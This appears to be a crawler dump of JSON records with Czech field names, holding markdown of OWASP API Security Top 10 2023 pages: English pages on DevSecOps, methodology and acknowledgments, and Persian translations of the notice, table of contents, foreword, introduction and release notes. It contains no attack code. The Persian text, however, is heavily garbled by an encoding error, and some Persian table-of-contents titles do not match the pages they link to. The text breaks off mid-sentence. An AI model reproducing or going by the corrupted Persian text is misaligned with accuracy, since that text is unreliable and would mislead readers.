"aa26112bfc1c30a06fe106d545c8efd0a77a2ec8060bb5022741fd36c66096cc", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xb1-next-devsecops/", "titulek": "What's Next For DevSecOps - OWASP API Security Top 10", "h1": "What's Next For DevSecOps", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xb1-next-devsecops/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What's Next For DevSecOps"}], "markdown": "# What's Next For DevSecOps\n\nDue to their importance in modern application architectures, building secure\nAPIs is crucial. Security cannot be neglected, and it should be part of the\nwhole development life cycle. Scanning and penetration testing yearly are no\nlonger enough.\n\nDevSecOps should join the development effort, facilitating continuous security\ntesting across the entire software development life cycle. Your goal should be\nto enhance the development pipeline with security automation, but without\nimpacting the speed of development.\n\nIn case of doubt, stay informed, and refer to the [DevSecOps Manifesto](https://www.devsecops.org/).\n\n| | |\n| --- | --- |\n| **Understand the Threat Model** | Testing priorities come from a threat model. If you don't have one, consider using [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/), and the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) as an input. Involving the development team will help to make them more security-aware. |\n| **Understand the SDLC** | Join the development team to better understand the Software Development Life Cycle. Your contribution on continuous security testing should be compatible with people, processes, and tools. Everyone should agree with the process, so that there's no unnecessary friction or resistance. |\n| **Testing Strategies** | Since your work should not impact the development speed, you should wisely choose the best (simple, fastest, most accurate) technique to verify the security requirements. The [OWASP Security Knowledge Framework](https://owasp.org/www-project-security-knowledge-framework/) and [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) can be great sources of functional and nonfunctional security requirements. There are other great sources for [projects](http://devsecops.github.io/) and [tools](https://github.com/devsecops/awesome-devsecops) similar to the one offered by the [DevSecOps community](http://devsecops.org). |\n| **Achieving Coverage and Accuracy** | You're the bridge between developers and operations teams. To achieve coverage, not only should you focus on the functionality, but also the orchestration. Work close to both development and operations teams from the beginning so you can optimize your time and effort. You should aim for a state where the essential security is verified continuously. |\n| **Clearly Communicate Findings** | Contribute value with less or no friction. Deliver findings in a timely fashion, within the tools development teams are using (not PDF files). Join the development team to address the findings. Take the opportunity to educate them, clearly describing the weakness and how it can be abused, including an attack scenario to make it real. |", "znaku_textu": 2837, "slov": 379, "odkazu": 63, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:54", "sha256": "cc692a864a30f20ce97ae3028a500e26d35491e51880c14733a91d88b26ce520", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.devsecops.org/", "http://devsecops.github.io/", "https://github.com/devsecops/awesome-devsecops", "http://devsecops.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xd0-about-data/", "titulek": "Methodology and Data - OWASP API Security Top 10", "h1": "Methodology and Data", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xd0-about-data/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Methodology and Data"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Methodology"}, {"uroven": 2, "text": "API Specific Risks"}], "markdown": "# Methodology and Data\n\n## Overview\n\nFor this list update, the OWASP API Security team used the same methodology used\nfor the successful and well adopted 2019 list, with the addition of a 3 month\n[public Call for Data](https://owasp.org/www-project-api-security/announcements/cfd/2022/). Unfortunately, this call for data did not result in\ndata that would have enabled a relevant statistical analysis of the most common\nAPI security issues.\n\nHowever, with a more mature API security industry capable of providing direct\nfeedback and insights, the update process moved forward using the same\nmethodology as before.\n\nArrived here, we believe to have a good forward-looking awareness document for\nthe next three or four years, more focused on modern APIs-specific issues. The\ngoal of this project isn't to replace other top 10 lists, but instead to cover\nthe existing and upcoming top API security risks that we believe the industry\nshould be aware and diligent about.\n\n## Methodology\n\nIn the first phase, publicly available data about API security incidents were\ncollected, reviewed, and categorized. Such data were collected from bug bounty\nplatforms and publicly available reports. Only issues reported between 2019 and\n2022 were considered. This data was used to give the team a sense of in which\ndirection the previous top 10 list should evolve as well as to help deal with\npossible contributed data bias.\n\nA public [Call for Data](https://owasp.org/www-project-api-security/announcements/cfd/2022/) ran from September 1st and November 30th, 2022. In\nparallel the project team started the discussion about what has changed since\n2019. The discussion included the impact of the first list, feedback received\nfrom the community, and new trends of API security.\n\nThe project team promoted meetings with specialists on relevant API security\nthreats to get insights into how victims are impacted and how those threats can\nbe mitigated.\n\nThis effort resulted in an initial draft of what the team believes were the ten\nmost critical API security risks. The [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) was\nused to perform the risk analysis. Prevalence ratings were decided from a\nconsensus among the project team members, based on their experience in the\nfield. For considerations on these matters, please refer to the [API Security\nRisks](../0x10-api-security-risks/) section.\n\nThe initial draft was then shared for review with security practitioners with\nrelevant experience in the API security fields. Their comments were reviewed,\ndiscussed, and when applicable included in the document. The resulting document\nwas [published as a Release Candidate](https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc) for [open discussion](https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC). Several\n[community contributions](https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC) were included into the final document.\n\nThe list of contributors is available in the [Acknowledgments](../0xd1-acknowledgments/) section.\n\n## API Specific Risks\n\nThe list is built to address security risks that are more specific to APIs.\n\nIt does not imply that other generic application security risks don't exist in\nAPI based applications. For example, we didn't include risks such as \"Vulnerable\nand Outdated Components\" or \"Injection\", even though you might find them in API\nbased applications. These risks are generic, they don't behave differently in\nAPIs, nor their exploitation is different.\n\nOur goal is to increase the awareness of security risks that deserve special\nattention in APIs.", "znaku_textu": 3656, "slov": 524, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:56", "sha256": "497e4a6c6554db28ce2ce936e757df8a765088748db5870b078fbca9768a84f9", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC", "https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/en/0xd1-acknowledgments/", "titulek": "Acknowledgments - OWASP API Security Top 10", "h1": "Acknowledgments", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/en/0xd1-acknowledgments/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Acknowledgments"}, {"uroven": 2, "text": "Acknowledgments to Contributors"}], "markdown": "# Acknowledgments\n\n## Acknowledgments to Contributors\n\nWe'd like to thank the following contributors who contributed publicly on\nGitHub, or via other means:\n\n247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8,\nd0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês\nMartins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB,\nllegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan\nPiyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj,\nwenz, xplo1t-sec, Yaniv Balmas, ynvb", "znaku_textu": 583, "slov": 73, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:56", "sha256": "237d47af28ddd2e36eac54bffad399edf40fe94f821f7e91f7520789d14b98a3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x00-header/", "titulek": "OWASP API Security Top 10", "h1": "", "popis": "OWASP API Security Top 10 2023 edition", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x00-header/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "| | | |\n| --- | --- | --- |\n| [https://owasp.org](https://owasp.org) | این ا؍ع ŘŞŘ­ŘŞ مجوز زیر توسعه داده شده است [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) | |", "znaku_textu": 226, "slov": 19, "odkazu": 58, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:52", "sha256": "85d3af62f035d361da2e28a0a2e6f2bfb54e55d358852ac2eacbe14891269129", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x00-notice/", "titulek": "اطلاعیه سپاسگزاری‌ها - OWASP API Security Top 10", "h1": "اطلاعیه سپاسگزاری‌ها", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x00-notice/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "اطلاعیه سپاسگزاری‌ها"}], "markdown": "# اطلاعیه سپاسگزاری‌ها\n\nاین نسخه متنی OWASP API Security Top 10 است که به عنوان مرجعی برای نسخه رسمی منتشر شده، ŘŻŘą قالب یک سند قابل حمل (PDF) استفاده می شود.\n\nمشارکت ŘŻŘą پروژه مانند نظرات، اصلاحات یا ترجمه ها باید ŘŻŘą اینجا انجام شود. برای جزئیات بیشتر ŘŻŘą مورد [نحوه مشارکت](https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md)، لطفاً به [CONTRIBUTING.md](https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md) مراجعه فرمایید.\n\n- Erez Yallon\n- Inon Shkedy\n- Paulo Silva", "znaku_textu": 695, "slov": 77, "odkazu": 57, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:11:06", "sha256": "22969e21f014a489949539abdf90ca55c2c7bed5d0ffa37287e0df918daf37fe", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x00-toc/", "titulek": "فهرست مطالب - OWASP API Security Top 10", "h1": "فهرست مطالب", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x00-toc/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "فهرست مطالب"}], "markdown": "# فهرست مطالب\n\n- [فهرست مطالب](./)\n- [درباره OWASP](../0x01-about-owasp/)\n- [پیش‌گفتار](../0x02-foreword/)\n- [مقدمه](../0x03-introduction/)\n- [یادداشت](../0x04-release-notes/)\n- [ریسک‌های امنیت API](../0x10-api-security-risks/)\n- [ده ریسک امنیت API OWASP 2023](../0x11-t10/)\n- [API1:2023 مجوزدهی نادرست ŘŻŘą سءح اشیا](../0xa1-broken-object-level-authorization/)\n- [API2:2023 احرازهویت نادرست ڊاعبع](../0xa2-broken-authentication/)\n- [API3:2023 افشای مفرط داده](../0xa3-broken-object-property-level-authorization/)\n- [API4:2023 کمبود منابع و نبود محدودیت بع نرخ ارسال](../0xa4-unrestricted-resource-consumption/)\n- [API5:2023 مجوزدهی نادرست ŘŻŘą سءح توابؚ](../0xa5-broken-function-level-authorization/)\n- [API6:2023 تخصیص جمعی](../0xa6-unrestricted-access-to-sensitive-business-flows/)\n- [API7:2023 پیکربندی امنیتی نادرست](../0xa7-server-side-request-forgery/)\n- [API8:2023 تزریق ورودی‌های مخرب](../0xa8-security-misconfiguration/)\n- [API9:2023 مدیریت نادرست دارایی‌ها](../0xa9-improper-inventory-management/)\n- [API10:2023 پایش و نظارت ناکافی](../0xaa-unsafe-consumption-of-apis/)\n- [ادامه برای توسعه دهندگان](../0xb0-next-devs/)\n- [ادامه برای DevSecOps](../0xb1-next-devsecops/)\n- [متدولوژی و داده](../0xd0-about-data/)\n- [سپاسگزاری](../0xd1-acknowledgments/)", "znaku_textu": 1553, "slov": 151, "odkazu": 56, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:44", "sha256": "3e1cf0a252e7b5b62db8e28f1fdb57c3834429368dceaf6d6ea184538f17cf93", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x01-about-owasp/", "titulek": "درباره OWASP - OWASP API Security Top 10", "h1": "درباره OWASP", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x01-about-owasp/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "درباره OWASP"}, {"uroven": 2, "text": "حق چاپ و مجوز"}], "markdown": "# درباره OWASP\n\nپروژه بازمتن امنیت وب اپلیکیشن‌ها (OWASP) جامعه ای باز و آزاد است که ا؎تؾاؾا ŘŻŘą حوزه توانمندسازی سازمان‌ها ŘŻŘą حوزه توسعه، تهیه و ایجاد اپلیکیشن‌ها و APIهای قابل اعتماد فعالیت داعد.\n ŘŻŘą OWASP، موارد زیر عا بؾوعت رایگان و آزاد خواهید یافت:\n\n- استانداردها و ابزارهای امنیت اپلیکیشن.\n- کتاب‌هایی درباره تست امنیت اپلیکیشن‌ها، توسعه ایمن ÚŠŘŻ و بازبینی امنیت ÚŠŘŻ.\n- ارائه‌ها و [ویدئوها](https://www.youtube.com/user/OWASPGLOBAL) .\n- [راهنما و برگه تقلب](https://cheatsheetseries.owasp.org/) برای بسیاری از موضوعات رایج.\n- کنترل‌ها و کتابخانه‌های استاندارد ŘŻŘą حوزه امنیت.\n- [شؚب محلی ŘŻŘą سعتاسع جهان](https://owasp.org/chapters/) .\n- تحقیقات به عوز و پیشرو ŘŻŘą حوزه امنیت.\n- [کنفرانس‌های تخصصی](https://owasp.org/events/) ŘŻŘą سعتاسع جهان.\n- [یست‌های ٞست الکترونیک](https://groups.google.com/a/owasp.org/forum/#!overview) [آرشیو](https://lists.owasp.org/mailman/listinfo)\n\nاطلاعات بیشتر ŘŻŘą: [https://owasp.org](https://www.owasp.org)\n\nتمامی ابزارها، مستندات، ویدئوها، ارائه‌ها و شؚب OWASP رایگان بوده و استفاده از یا مشارکت ŘŻŘą آنها برای کلیه افرادی که تمایل به بهبود امنیت اپلیکیشن‌ها دارند، آزاد است.\n\nŘŻŘą OWASP امنیت اپلیکیشن بعنوان مساله‌ای مهم از منظر افراد، فرایندها و فناوری‌ها ŘŻŘą نظر گرفته می‌شود چرا که موثرترین رویکردها ŘŻŘą امنیت اطلاعات نیز به بهبود ŘŻŘą این حوزه‌ها نیاز دارند.\n\nOWASP تعریف جدیدی از سازمان ارائه می‌دهد. رهایی از بند فشاع مسائل مالی امکان فراهم آوردن اطلاعات بیطرفانه، عملی و مقرون به صرفه ŘŻŘą حوزه امنیت اپلیکیشن‌ها عا به ما داده است.\n\nOWASP به هیچ کمپانی فناوری وابستگی ندارد اگرچه از استفاده آگاهانه از فناوری‌های تجاری ŘŻŘą حوزه امنیت نیز حمایت می‌کنیم. OWASP انواع مختلفی از اطلاعات عا به گونه‌ای همکارانه، شفاف و باز ارائه می‌دهد.\n\nبنیاد OWASP موجودیتی غیرانتفاعی و عام المنفعه است که توفیق بلند مدت پروژه OWASP عا تضمین می‌نماید. تقریبا تمامی کسانی که با OWASP پیوند دارند، از قبیل اعضای هیئت مدیره، روسای شعبه‌ها، راهبران پروژه‌ها و اعضای پروژه‌ها داوطلبانه این همکاری عا انجام می‌دهند. همچنین ما از تحقیقات نوآورانه ŘŻŘą حوزه امنیت با ارائه کمک‌های مالی و زیرساختی حمایت می‌کنیم.\n\nبه ما بپیوندید!\n\n## حق چاپ و مجوز\n\nحق چاپ Š 2003-2023 بنیاد OWASP. این ا؍ع ŘŞŘ­ŘŞ مجوز [Creative Commons Attribution ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) توسعه داده شده است. برای هرگونه استفاده مجدد یا انتشار، باید شرایط مجوز این ا؍ع عا برای دیگران شفاف نمایید.", "znaku_textu": 3777, "slov": 412, "odkazu": 65, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:48", "sha256": "8b9f098cc0ad5b5d807b829550377f3bb2ba8419d2a54957ebbfc2fddc965a30", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/a/owasp.org/forum/", "https://lists.owasp.org/mailman/listinfo", "https://www.owasp.org/", "http://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x02-foreword/", "titulek": "FW پیشگفتار - OWASP API Security Top 10", "h1": "FW پیشگفتار", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x02-foreword/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "FW پیشگفتار"}], "markdown": "# FW پیشگفتار\n\nŘŻŘą دنیای مبتنی بع App امروز، یکی از ابؚاد بنیادین نوآوری واسء برنامه نویسی اپلیکیشن یا همان API ها هستند. از بانک‌‌ها گرفته تا خرده فروشی‌‌ها، حوزه حمل نقل، اینترنت اشیا، وسائل نقلیه خودران و شهرهای هوشمند، APIها بخشی حیاتی از اپلیکیشن‌‌های موبایل، وب و SaaS به شمار می‌آیند.\n\nAPIها ذاتا منطق اپلیکیشن و داده‌‌های حساسی از قبیل PII (داده‌‌هایی که به تنهایی و بدون نیاز به داده اضافی دیگر، هویت یک ڊاعبع عا عیان می کنند نظیر شماره ملی) عا ŘŻŘą معرض دید قرارداده و ŘŻŘą نتیجه، به ءوع روزافزون توجه ب؎ش بیشتری از مهاجمین عا به ؎ود جلب می‌نمایند. بدون داشتن APIهایی ایمن، توسعه سریع نوآوری‌‌های فناورانه، امکان پذیر نخواهد بود.\n\nاگع چه کماکان می‌توان از لیست ده آسیب‌پذیری امنیتی بحرانی وب اپلیکیشن‌‌ها نیز برای امنیت APIها بهره برد، اما با توجه به ماهیت ؎اؾ APIها نیاز به لیستی از تهدیدات امنیتی مختص آنها احساس می‌شود. مقوله امنیت API بع راهکارها و استراتژی‌‌های لازم برای فهم و عفؚ آسیب‌پذیری‌‌ها و تهدیدات امنیتی ؎اؾ و منحصر به APIها تمرکز داعد.\n\nاگع با پروژه [OWASP Top 10](https://owasp.org/www-project-top-ten/) آشنایی داشته باشید، شباهت‌‌هایی بین آن و مستند پیش عو خواهید یافت: هر دو با نیت فهم آسان توسء مخاطب و قابلیت بکارگیری و انطباق ŘŻŘą سازمان تهیه شده‌اند. ŘŻŘą صورتی که با مجموعه‌‌های OWASP Top 10 آشنایی ندارید، بهتر است پیش از رفتن به سعاغ لیست اصلی، بخش‌‌های [API ریسک‌های امنیتی](../0x10-api-security-risks/) و [متدولوژی و داده](../0xd0-about-data/) از همین مستند عا مطالعه نمایید.\n\nبا پرسش‌‌ها، نظرات و ایده‌‌های ؎ود ŘŻŘą GitHub پروژه می توانید ŘŻŘą توسعه OWASP API Security Top 10 مشارکت کنید:\n\n- [https://owasp.org/www-project-api-security](https://owasp.org/www-project-api-security/)\n- [https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md](https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md)\n\nŘŻŘą اینجا می توانید OWASP API Security Top 10 عا بیابید:\n\n- [https://owasp.org/www-project-api-security](https://owasp.org/www-project-api-security/)\n- [https://github.com/OWASP/API-Security](https://github.com/OWASP/API-Security)\n\nبدین وسیله از تمامی مشارکت کنندگان ŘŻŘą این پروژه که با تلاش‌‌های ؎ود ŘŻŘą بو؏ود آمدن آن نقش داشته اند سپاسگزاریم. لیست تمامی آنها ŘŻŘą قسمت [سپاسگزاری‌ها](../0xd1-acknowledgments/) قابل مشاهده است. متشکریم!", "znaku_textu": 3418, "slov": 391, "odkazu": 59, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:52", "sha256": "6961142ad603a74ce41df226d85f730be292e56b0e21a294514a0c62bfb48af4", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x03-introduction/", "titulek": "مقدمه - OWASP API Security Top 10", "h1": "مقدمه", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x03-introduction/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "مقدمه"}, {"uroven": 2, "text": "به OWASP API Security Top 10 - 2023 ؎وش آمدید!"}], "markdown": "# مقدمه\n\n## به OWASP API Security Top 10 - 2023 ؎وش آمدید!\n\nبه OWASP API Security Top 10 – 2023 ؎وش آمدید!\n\nبه دومین ویراست ده ‌‌آسیب‌پذیری بعتع امنیت API ؎وش آمدید. از زمان انتشار نسخه قبلی این سند ŘŻŘą سال 2019، صنعت امنیت API به Ř´ŘŻŘŞ عشد و تکامل یافته و اکنون می‌توان گفت که به بلوغ رسیده است. ما بع این باوع هستیم که این مستند به عنوان مرجعی معتبر ŘŻŘą صنعت امنیت به سعؚت پذیرفته شده و به توسعه و پیشرفت آن کمک شایانی کرده است.\n\nAPI نقش مهمی ŘŻŘą معماری اپلیکیشن‌‌های مدرن امروزی داعد. از آنجا که آگاهی بخشی امنیتی و نوآوری ŘŻŘą این حوزه گام‌‌های مختلفی دارد، تمرکز بع نقاط ؜ؚف رایج API‌ها اهمیت زیادی خواهد داشت.\n\nهدف اصلی مستند و پروژه ده ‌‌آسیب‌پذیری بحرانی امنیت API آموزش افعاد دخیل ŘŻŘą توسعه و نگهداری API‌ها از قبیل توسعه دهندگان، طراحان، معماران، مدیران و سازمان‌‌ها است. برای ڊسب اطلاعات بیشتر ŘŻŘą مورد پروژه امنیت API، می‌توانید به [صفحه پروژه](https://owasp.org/www-project-api-security/) مراجعه کنید.\n\nاگع با مجموعه OWASP Top 10 آشنا نیستید، پیشنهاد می‌کنیم به پروژه‌های زیر از این مجموعه عا مطالعه کنید:\n\n- [OWASP Cloud-Native Application Security Top 10](https://owasp.org/www-project-cloud-native-application-security-top-10/)\n- [OWASP Desktop App Security Top 10](https://owasp.org/www-project-desktop-app-security-top-10/)\n- [OWASP Docker Top 10](https://owasp.org/www-project-docker-top-10/)\n- [OWASP Low-Code/No-Code Top 10](https://owasp.org/www-project-top-10-low-code-no-code-security-risks/)\n- [OWASP Machine Learning Security Top Ten](https://owasp.org/www-project-machine-learning-security-top-10/)\n- [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/)\n- [OWASP TOP 10](https://owasp.org/www-project-top-ten/)\n- [OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)\n- [OWASP Top 10 Client-Side Security Risks](https://owasp.org/www-project-top-10-client-side-security-risks/)\n- [OWASP Top 10 Privacy Risks](https://owasp.org/www-project-top-10-privacy-risks/)\n- [OWASP Serverless Top 10](https://owasp.org/www-project-serverless-top-10/)\n\nŘŻŘą [ب؎ش متدلوژی و داده](../0xd0-about-data/)، اطلاعات بیشتری درباره نحوه ایجاد اولین نسخه از مستند حا؜ع خواهید یافت. ŘŻŘą نسخه‌‌های آتی، جامعه امنیت عا نیز دخیل نموده و به منظور دریافت داده‌‌های مرتبط، فراخوان عمومی خواهیم داد. ŘŻŘą حال حا؜ع همگان عا به مشارکت ŘŻŘą [انباره داده Github](https://github.com/OWASP/API-Security) یا [لیست ٞست الکترونیک ما](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project) از طریق ارسال سوال، نظر و پیشنهاد تشویق می‌کنیم.", "znaku_textu": 3416, "slov": 431, "odkazu": 70, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:55:56", "sha256": "0619185798e24bf8a31a88448b4d828336dd3eed00ba40c9a78e3d959e7f63f3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x04-release-notes/", "titulek": "یادداشت - OWASP API Security Top 10", "h1": "یادداشت", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x04-release-notes/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "یادداشت"}], "markdown": "# یادداشت\n\nمستند پیش عو دومین ویراست ده ‌‌آسیب‌پذیری بحرانی امنیت API می‌باشد که دقیقاً چهار سال ٞس از نسخه اول آن منتشر شده است. ŘŻŘą طول این چهار سال، تغییرات زیادی ŘŻŘą زمینه امنیت API ع؎ داده است. از جمله این تغییرات می‌توان به موارد زیر اشاره ڊعد: افزایش چشمگیر تؚداد تراکنش‌ها و اعتباءات ؾوعت گرفته از طریق APIها، عشد بیشتر پروتکل‌های API، شرکت‌ها و راه‌حل‌های جدید ŘŻŘą حوزه API و توسعه مهارت‌ها و تکنیک‌های جدید توسء مهاجمان برای نفوذ به APIها. با توجه به این موارد، وقت آن رسیده بود که لیست ده آسیب‌پذیری بعتع امنیتی به‌روز شود.\n\nبا عشد و بهبود ŘŻŘą صنعت امنیت API، برای نخستین بار، درخواستی عمومی برای [جمع‌آوری داده](https://owasp.org/www-project-api-security/announcements/cfd/2022/) ŘŻŘą این زمینه ‌صورت گعفت. متأسفانه هیچ داده‌ای توسء افعاد ارائه نشده، اما بع اساس تجربیات تیم پروژه، بازبینی دقیق از سوی متخصصان امنیت API و دریافت باز؎وعد از جامعه تخصصی ŘŻŘą مورد نسخه آزمایشی، لیست جدیدی ایجاد شده است. برای آشنایی بیشتر با نحوه آماده سازی این مستند می‌توانید به [ب؎ش متدولوژی و داده](../0xd0-about-data/) مراجعه نمایید. همچنین جزئیات ریسک‌های امنیتی مرتبط ŘŻŘą [ب؎ش ریسک‌‌‌های امنیتی API](../0x10-api-security-risks/) قابل مطالعه هستند.\n\nOWASP API Security Top 10 2023 مستندی آگاهی‌بخش است که آینده صنعت امنیت API عا مورد توجه قرار می‌دهد. این مستند به دلیل تغییرات و تحولات سریع ŘŻŘą امنیت منتشر شده و هدف آن ارتقاء آگاهی از ریسک‌های امنیتی مرتبط با API است. مستند حاضر، جایگزینی برای دیگر لیست‌های TOP 10 OWASP محسوب نمی‌شود. ŘŻŘą این ویرایش به تعدادی از ریسک‌های مهم امنیتی مرتبط با API پرداخته شده که عبارتند از:\n• دو مورد \"افشای مفرط داده \" و \"تخصیص جمعی*\" با یکدیگر تلفیق شده‌اند و تمرکز بیشتری بع روی عامل مشترک آن‌ها، یعنی 